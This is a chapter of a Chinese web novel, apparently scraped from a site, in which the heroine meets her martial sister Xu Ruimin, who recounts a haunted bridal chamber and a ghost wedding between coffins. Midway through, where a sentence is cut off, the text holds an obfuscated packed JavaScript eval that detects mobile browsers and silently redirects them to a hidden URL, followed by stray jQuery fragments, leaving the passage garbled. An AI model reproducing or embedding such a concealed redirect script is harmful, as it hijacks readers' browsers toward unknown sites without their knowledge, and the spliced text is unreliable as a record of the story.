14. 新娘拜堂

作品:《黑月光手撕剧本后HE了

    一株勿忘我下肚,沈澜玥本以为自己会就这样被赶出去这具身体,却没想到自己竟然还在。


    但控制的时间更少了。


    她开始试着去靠近方尧,向方尧传递一些信息,但每每到了关键时刻身体控制权又被夺走,每次都是几句话就没了。


    直到有一天。


    “澜玥。”程天慕从外边推开了门,身后还跟着一脸阴郁的方尧。


    手里还是一株……勿忘我。


    方尧全程都没有说话,沉默着割开了手指,把血滴在了那株草上,随后就离开了。


    沈澜玥借着这双眼睛贪婪地看着那个人的背影,全然没发现这具身体已经开始吸收那株滴了方尧的血的勿忘我。


    她还没有来得及看到那背影回头,就彻底失去了意识。


    空气中有一股潮湿的味道,沈澜玥睁开眼睛,自己还在那片林子里,早已天光大亮,太阳光顺着树枝叶的缝隙倾泻下来,细细碎碎地落了一地,眼睛骤然一闪,有些眩晕,才恍然大悟自己已经回到现世了。


    沈澜玥晃了晃神,站起身来,看了看自己的手,那一片冰蓝色的东西已经消失不见了,记忆已经拿回来了,只好犹犹豫豫地朝林子外走。


    真相已经在眼前了,如何改变已经写好的命运呢?


    她必须得抓住所有的机会。


    那条鱼在记忆当中出现过,只是这片深山老林里的一条鲛鱼,在原著的最后有被程天慕抓起来用过,除此之外没什么特别的。


    想必是这条鱼以为剧情提前了,看见主角也没什么智商就不明不白的扑上来,完成任务就消失了。


    没必要追上去,穿书这么多年,沈澜玥早就明白很多事物存在就是为了推动情节的发展,并没有多余的意义。


    系统还是去世的状态,猜测是参喜娘娘的力量影响了系统。


    只好全靠自己了。


    沈澜玥的脚程很快,只自己一个人不消一个时辰就出了这片茂密的林,回到了村子里和村长打了个招呼,就启程回去了。


    还是得去泽普镇,如果那个镇子都是幻境,那一切都说得明白了。


    从南方回到泽普镇,跟着商队走要近乎十几天,但是仅仅她一个人全速赶路,也要三天三夜。


    第一天晚上,沈澜玥在一个水乡小镇停下来了。


    原本只是计划路过歇息一晚就继续赶路,谁知一脚刚踏进旅店,沈澜玥就被捉住了。


    说是捉,恐怕并不贴切,那人沈澜玥相当熟悉,是徐瑞敏。


    天色并不晚,沈澜玥没有赶夜路的习惯,旅店一楼有不少人插科打诨,聚在一起聊天喝酒,似乎是有个没什么素质的醉汉在吹牛皮,声音震天响,看样子是这附近的免费聊天室。


    沈澜玥想听听在聊什么,试着给徐瑞敏比了个手势,却觉得身后一凉,徐瑞敏带着一身的寒霜贴了上来,像是才从灵聚集的地方脱身。


    “嘘……”徐瑞敏就站在沈澜玥身后,声音早没了之前那种总是小心翼翼的害怕,“跟我来。”


    原著其实没有给徐瑞敏特别多的戏份,甚至在沈澜玥的记忆中,自己其实也并没有这么个关系特别好的“闺蜜”,她现在手里一共有四份记忆,前世的记忆,回到这具身体之前“原主”的记忆,原著里的说法,以及因为参喜娘娘力量的介入而更改的原著。


    前世的记忆里没有徐瑞敏,剩下三份里倒是都增加了这个人。


    现在可以确定的是,原著并不全是前世的故事,有很大一部分的内容被修改隐藏了,而被更改的原著则是没有未来,干了什么写什么,因为系统的下线也看不见了。


    徐瑞敏无声地引着沈澜玥往外走,沈澜玥没说话,慢慢地跟着她走。


    路上有人,和前些天没有人的泽普镇形成了鲜明的对比,时不时有孩子欢笑着跑过去,一个普通而日常黄昏,把人的影子拉得很长,晚风又吹起来,带起来阵阵暖意,所有的声音和喧嚣都渐渐地远了。


    她们逐渐走出了闹市,顺着一条羊肠小道往外围走,行人慢慢少起来,一直走到一间荒芜的破庙。


    “师姐。”徐瑞敏一出了人多的地方,立刻就又破了功,两只眼睛还没闭上眼泪就流出来了,“那天晚上……你走了之后……”


    沈澜玥看着她哭头都要大了:“先别哭……你慢慢说。”


    徐瑞敏不知道是在哪找到了这么间破庙,庙里空荡荡的什么都没有,两个人说话的声音甚至还有回声:“你一走我就听见外边有声音,我有点害怕,就没出去,但是很快整个房间都不对劲了,师姐你有没有看过话本?那房间变得像话本里的洞房一样,到处都是红色的,还点了蜡烛,我原本想追着你出去的,结果一推开门,整个陆宅都不对劲了。”


    “人都不见了,虽然本来也没什么人,变成了个密闭的盒子一样,我想着把这盒子强行破开来,还没动手就有人对着我放冷箭!我躲开来了,然后找了个地方躲起来,接着——


    那天晚上,徐瑞敏本来想跟着出去的,可一推开门外边漆黑得什么都看不见,别说沈澜玥了,就是座山也看不见影子,好像有什么东西把徐瑞敏的眼睛给遮起来了,她一回头看屋子里又是正常的,只好放弃了去追师姐的念头。


    按照她小时候的说法,既然是事发有常,那自然有它的道理,于是只好可怜兮兮的一个人在屋子里坐下了,原本想着过一会再打开窗看看,可还没来得及开窗,屋外忽然就响起来一阵奇怪的声音。


    仔细一听,是唢呐,办红白喜事的必需品,接着就是敲锣打鼓的声音,喜气洋洋的好不热闹,要是在平时徐瑞敏高低也会出去凑个热闹看看,可眼前阴森森的屋子,外边又是黑漆漆的,她只好悄悄从乾坤袋里翻出来点法宝准备自保,可一晃神的功夫,整个屋子里的布局也全都变了。


    入目皆是刺眼的红,一点看不出喜庆的样子,像血水渗进了漆黑的夜,空气中浓稠的香气令人窒息。


    徐瑞敏放轻了步子。


    烛火摇曳不定地跳跃着,烛泪凝结在烛台上,火光在墙壁上投射出一个扭曲的人影来,徐瑞敏定睛一看,床上竟然坐着一个人!


    她立刻捂住了自己的嘴,一点声音都不敢发出来,借着家具的遮挡,一步步往屋外挪动起来。


    屋内所有的家具都变成了洞房的装饰,铜镜昏蒙着看不清人的脸,徐瑞敏从镜子里望过去,昏暗扭曲的轮廓像是水中的倒影,一下子就被搅散了。


    “啊啊啊——”那影子忽地站起身来,尖叫着冲向了徐瑞敏,径直穿过了她的身子,碰到一旁的红木柜子上,消失了。


    空间开始扭曲起来,深红一片的死寂变成了吞食活人的怪物,所有的器物都变成了伥鬼,张牙舞爪地朝着徐瑞敏袭来。


    没有一丝犹豫的余地,徐瑞敏当机立断划开了自己的手,鲜血涌出来立刻飞起,在空中铺开一张龙飞凤舞的符,顷刻红光乍现,器伥被逼退了三分,徐瑞敏脚步不停,飞身跃起踢飞了拦路的妖怪,凝固的影子伸出手去抓她的身子。


    “铛——”


    抬弓,瞄准,放箭。


    带有灵力的箭头破空而去,划开了厚重的胭脂味,带起一阵凄厉的风,刮过所有的妖孽,硬生生破


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097398|179495||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开一条路!


    徐瑞敏一步也不敢停,窜过那狭窄的路,伸出手去推门,拳头砸在门上发出“碰”的一声,门却纹丝不动,被搅开的灰影又聚起来,坐在床边,器伥也都恢复了原来的样子,房间恢复了一片沉默的死寂。


    “吱嘎——”


    门开了。


    外边飘着漫天的纸钱,长明灯不灭,唢呐的声音响彻云霄,打碎了猩红的的死寂,替换成一片苍白的静谧。


    纸钱洋洋洒洒落在两副棺材上,一个模糊的影子在中间条大神,黄色的布条在空中乱飞,徐瑞敏被一股巨大的力推走向前,她试着反抗浑身全部禁锢起来,动弹不得地压到了棺材旁。


    两副棺材,一男一女,头上还戴着大红的盖头。


    徐瑞敏被强压着低着头,唢呐的声音越来越响,一直到耳鸣,尖锐到穿透耳膜好像钻进了脑袋里,把脑浆一起捣得稀烂,唢呐声停了。


    “一拜天地——”


    徐瑞敏蓦然抬头,眼前只有两个明明衣着喜庆,却过分诡异的身影,华美的盖头下还在渗着红褐色的血,两个人都以一种不自然的姿势跪下,低头……就像是两个提线木偶,有什么看不见的线牵引着做出动作,下跪,鞠躬。


    盖头落下来了,一块布却像一张轻飘飘的纸,慢悠悠地在空中飞了一会,露出新娘的脸来,头上有个血红的窟窿,还在往外不停的冒血,顺着脸颊滴在地上,无形的手又把盖头捡起来盖回新娘的脸上,遮住了血迹和新娘死不瞑目狰狞的表情。


    “二拜高堂——”


    长明的蜡烛忽然全部都熄灭了,纷飞的纸钱燃烧起来变成了冥冥的鬼火,眼前的场景骤然一变,棺材被烧成了灰,扬起漫天的阴沉,满目疮痍,触目惊心,黑压压的风刮过来,只有一个带着盖头的女鬼穿过徐瑞敏身前。


    徐瑞敏只觉得一股刺骨的寒冷刹那间穿透了她浑身,五脏六腑好像都结了冰碴子似的,那女鬼路过时无声无息的,却留下一股化不开的、混着血腥和泥土的阴冷气息,像毒蛇一般缠上了徐瑞敏的身子。


    又一次像是被什么控制了似的,动弹不得,徐瑞敏被迫僵直在原地,连眼珠子都无法转动,眼睁睁地看着那滴血的红盖头飘向原本放着“高堂”之位的地方。


    一片焦黑的空地,什么都没有。


    一个声音忽然响起来,不是从女鬼的方向,也不是之前那刺耳的唢呐声,像是无数人在喃喃的低音,从腐朽的地面里钻出来,灌入徐瑞敏的脑海深处。


    那女鬼也突然回过头,盯着声音传来的方向。


    又是一阵敲锣打鼓,但却并非红白喜事,那声音很快充斥了这半大的祠堂。


    徐瑞敏猛的回头,看向那两副本该被烧成灰烬的棺材。那烧焦的残骸竟然在缓缓蠕动,聚合,重新勾勒出一副棺材的轮廓,女鬼也慢慢地落回到地面,以一种极其缓慢的诡异姿态。一步步走回棺材中。


    它的动作滞涩而僵硬,每一次动作都伴随着令人牙酸的“咔嚓”声,像是生前骨头都被人生生打断了,死后仍不得安生,猩红的盖头在阴风的吹拂下微微晃动起来,几滴黑色的液体滴滴答答地落在焦土上,腐蚀出缕缕青烟。


    声音越来越近了,女鬼终于又躺回了棺材里,新郎也就位了。


    “神佛无用,参喜在上,万神归一,消灾免难,吉祥平安。”


    一声一声的念诵声越来越大,盖住了所有的不甘与悲鸣,无论是愤怒还是悲恸都被一起埋进了坟墓。


    于是祠堂恢复了原样,好像一切都从来没有发生过似的,这场没有活人的婚姻,就这样成了。